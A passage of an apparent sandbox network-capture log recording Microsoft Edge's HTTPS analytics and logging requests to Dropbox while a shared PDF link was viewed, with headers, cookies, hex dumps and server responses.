2024-12-19 12:45:12 UTC	1062	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 48 77 54 70 49 6c 35 41 49 69 73 7a 73 41 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 73 5f 78 68 72 22 0d 0a 0d 0a 74 72 75 65 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 48 77 54 70 49 6c 35 41 49 69 73 7a 73 41 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 22 0d 0a 0d 0a 48 64 53 38 76 51 41 4f 67 6f 6f 32 70 64 71 33 4b 64 6e 38 58 30 65 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 48 77 54 70 49 6c 35 41 49 69 73 7a 73 41 6d 0d 0a 43 6f 6e 74 Data Ascii: ------WebKitFormBoundaryUHwTpIl5AIiszsAmContent-Disposition: form-data; name="is_xhr"true------WebKitFormBoundaryUHwTpIl5AIiszsAmContent-Disposition: form-data; name="t"HdS8vQAOgoo2pdq3Kdn8X0eJ------WebKitFormBoundaryUHwTpIl5AIiszsAmCont
2024-12-19 12:45:12 UTC	3111	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Expose-Headers: Accept-Ranges, Content-Disposition, Content-Encoding, Content-Length, Content-Range, X-Dropbox-Metadata, X-Dropbox-Request-Id, X-JSON, X-Server-Response-Time, Timing-Allow-Origin, x-dropbox-pdf-password-needed Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 15 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:12 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: dde38e089c0c4689b3bb391e7fdfeae1 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49942	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:14 UTC	1569	OUT	POST /log/ux_analytics HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1062 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB5DkVRF9up3gFJYx Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:14 UTC	1062	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 42 35 44 6b 56 52 46 39 75 70 33 67 46 4a 59 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 73 5f 78 68 72 22 0d 0a 0d 0a 74 72 75 65 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 42 35 44 6b 56 52 46 39 75 70 33 67 46 4a 59 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 22 0d 0a 0d 0a 48 64 53 38 76 51 41 4f 67 6f 6f 32 70 64 71 33 4b 64 6e 38 58 30 65 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 42 35 44 6b 56 52 46 39 75 70 33 67 46 4a 59 78 0d 0a 43 6f 6e 74 Data Ascii: ------WebKitFormBoundaryB5DkVRF9up3gFJYxContent-Disposition: form-data; name="is_xhr"true------WebKitFormBoundaryB5DkVRF9up3gFJYxContent-Disposition: form-data; name="t"HdS8vQAOgoo2pdq3Kdn8X0eJ------WebKitFormBoundaryB5DkVRF9up3gFJYxCont
2024-12-19 12:45:14 UTC	3111	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Expose-Headers: Accept-Ranges, Content-Disposition, Content-Encoding, Content-Length, Content-Range, X-Dropbox-Metadata, X-Dropbox-Request-Id, X-JSON, X-Server-Response-Time, Timing-Allow-Origin, x-dropbox-pdf-password-needed Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 23 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:14 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 5a212b44792b461fba4a27a71a3c3c4d Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49955	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:18 UTC	1569	OUT	POST /log/ux_analytics HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1063 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1LdxMORGBTlQBBrg Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:18 UTC	1063	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 4c 64 78 4d 4f 52 47 42 54 6c 51 42 42 72 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 73 5f 78 68 72 22 0d 0a 0d 0a 74 72 75 65 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 4c 64 78 4d 4f 52 47 42 54 6c 51 42 42 72 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 22 0d 0a 0d 0a 48 64 53 38 76 51 41 4f 67 6f 6f 32 70 64 71 33 4b 64 6e 38 58 30 65 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 4c 64 78 4d 4f 52 47 42 54 6c 51 42 42 72 67 0d 0a 43 6f 6e 74 Data Ascii: ------WebKitFormBoundary1LdxMORGBTlQBBrgContent-Disposition: form-data; name="is_xhr"true------WebKitFormBoundary1LdxMORGBTlQBBrgContent-Disposition: form-data; name="t"HdS8vQAOgoo2pdq3Kdn8X0eJ------WebKitFormBoundary1LdxMORGBTlQBBrgCont
2024-12-19 12:45:19 UTC	3111	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Expose-Headers: Accept-Ranges, Content-Disposition, Content-Encoding, Content-Length, Content-Range, X-Dropbox-Metadata, X-Dropbox-Request-Id, X-JSON, X-Server-Response-Time, Timing-Allow-Origin, x-dropbox-pdf-password-needed Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin Vary: Origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Server-Response-Time: 20 X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:45:18 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: deeedf1c189b41d3ad4f5ad226eb7d68 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49969	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:23 UTC	1661	OUT	POST /2/udcl/log_timing HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 2317 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJ X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:23 UTC	2317	OUT	Data Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 7b 22 74 79 70 65 22 3a 22 65 76 65 6e 74 22 2c 22 6e 61 6d 65 22 3a 22 70 65 72 66 6f 72 6d 61 6e 63 65 5f 6d 65 74 72 69 63 73 2f 72 65 73 6f 75 72 63 65 5f 74 69 6d 69 6e 67 22 2c 22 69 64 22 3a 22 66 30 62 35 65 30 39 66 2d 31 38 63 37 2d 34 32 38 66 2d 62 37 31 66 2d 66 63 31 32 38 32 37 62 31 31 64 63 22 2c 22 64 65 74 61 69 6c 22 3a 22 7b 5c 22 61 74 6c 61 73 73 65 72 76 6c 65 74 5c 22 3a 5c 22 66 69 6c 65 5f 76 69 65 77 65 72 5c 22 2c 5c 22 70 61 67 65 5f 6e 61 6d 65 5c 22 3a 5c 22 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5c 22 2c 5c 22 72 6f 75 74 65 5f 6e 61 6d 65 5c 22 3a 5c 22 73 68 61 72 65 64 5f 63 6f 6e 74 65 6e 74 5f 6c 69 6e 6b 3a 66 69 6c 65 3a 73 68 61 72 65 64 5f 6c 69 6e 6b 5f 67 65 6e 65 72 69 63 5f 65 Data Ascii: {"events":[{"type":"event","name":"performance_metrics/resource_timing","id":"f0b5e09f-18c7-428f-b71f-fc12827b11dc","detail":"{\"atlasservlet\":\"file_viewer\",\"page_name\":\"scl_oboe_file\",\"route_name\":\"shared_content_link:file:shared_link_generic_e
2024-12-19 12:45:24 UTC	571	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 139 X-Webkit-Csp: sandbox Content-Length: 51 Date: Thu, 19 Dec 2024 12:45:24 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 09bca08d06984ac9bdd6994027bac724 Connection: close
2024-12-19 12:45:24 UTC	51	IN	Data Raw: 7b 22 6d 73 67 22 3a 22 4d 65 61 73 75 72 65 73 20 70 72 6f 63 65 73 73 65 64 3a 20 32 20 45 76 65 6e 74 73 20 70 72 6f 63 65 73 73 65 64 3a 20 31 22 7d Data Ascii: {"msg":"Measures processed: 2 Events processed: 1"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49971	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:24 UTC	1674	OUT	POST /2/pap_event_logging/log_events HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1596 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJ X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:24 UTC	1596	OUT	Data Raw: 7b 22 65 76 65 6e 74 5f 65 6e 74 72 69 65 73 22 3a 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 5f 66 69 65 6c 64 73 22 3a 7b 22 62 75 69 6c 64 5f 63 68 61 6e 6e 65 6c 22 3a 7b 22 2e 74 61 67 22 3a 22 73 74 61 62 6c 65 22 7d 2c 22 70 72 6f 64 75 63 74 5f 6e 61 6d 65 22 3a 7b 22 2e 74 61 67 22 3a 22 63 6f 72 65 5f 64 72 6f 70 62 6f 78 22 7d 7d 2c 22 64 65 76 69 63 65 5f 66 69 65 6c 64 73 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 70 6c 61 74 66 6f 72 6d 5f 66 69 65 6c 64 73 22 3a 7b 22 2e 74 61 67 22 3a 22 63 6c 69 65 6e 74 5f 77 65 62 5f 64 65 76 69 63 65 5f 66 69 65 6c 64 73 22 2c 22 75 61 5f 62 72 6f 77 73 65 72 5f 6c 61 6e 67 22 3a 22 65 6e 2d 47 42 22 2c 22 69 73 5f 62 72 5f 63 6f 6f 6b 69 65 73 5f 65 6e 61 62 6c 65 64 22 3a 74 72 75 65 Data Ascii: {"event_entries":{"application_fields":{"build_channel":{".tag":"stable"},"product_name":{".tag":"core_dropbox"}},"device_fields":{"locale":"en-GB","platform_fields":{".tag":"client_web_device_fields","ua_browser_lang":"en-GB","is_br_cookies_enabled":true
2024-12-19 12:45:25 UTC	571	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 118 X-Webkit-Csp: sandbox Content-Length: 17 Date: Thu, 19 Dec 2024 12:45:25 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: e664056ffffd4077819195d4a9792e9d Connection: close
2024-12-19 12:45:25 UTC	17	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 22 74 72 75 65 22 7d Data Ascii: {"result":"true"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49977	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:45:25 UTC	1569	OUT	POST /log/ux_analytics HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 1064 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUxRTqS7w4AGgoH6b Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}; _cs_c=0; _cs_id=c480ecee-58fe-ab6f-a297-56b61f444401.1734612301.1.1734612301.1734612301.1724166274.1768776301511.1; _cs_s=1.0.0.9.1734614103044
2024-12-19 12:45:25 UTC	1064	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 78 52 54 71 53 37 77 34 41 47 67 6f 48 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 69 73 5f 78 68 72 22 0d 0a 0d 0a 74 72 75 65 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 78 52 54 71 53 37 77 34 41 47 67 6f 48 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 22 0d 0a 0d 0a 48 64 53 38 76 51 41 4f 67 6f 6f 32 70 64 71 33 4b 64 6e 38 58 30 65 4a 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 55 78 52 54 71 53 37 77 34 41 47 67 6f 48 36 62 0d 0a 43 6f 6e 74 Data Ascii: ------WebKitFormBoundaryUxRTqS7w4AGgoH6bContent-Disposition: form-data; name="is_xhr"true------WebKitFormBoundaryUxRTqS7w4AGgoH6bContent-Disposition: form-data; name="t"HdS8vQAOgoo2pdq3Kdn8X0eJ------WebKitFormBoundaryUxRTqS7w4AGgoH6bCont
2024-12-19 12:45:26 UTC	3111	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Expose-Headers: Accept-Ranges, Content-Disposition, Content-Encoding, Content-Length, Content-Range, X-Dropbox-Metadata, X-Dropbox-Request-Id, X-JSON, X-Server-Response-Time, Timing-Allow-Origin, x-dropbox-pdf-password-needed Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ 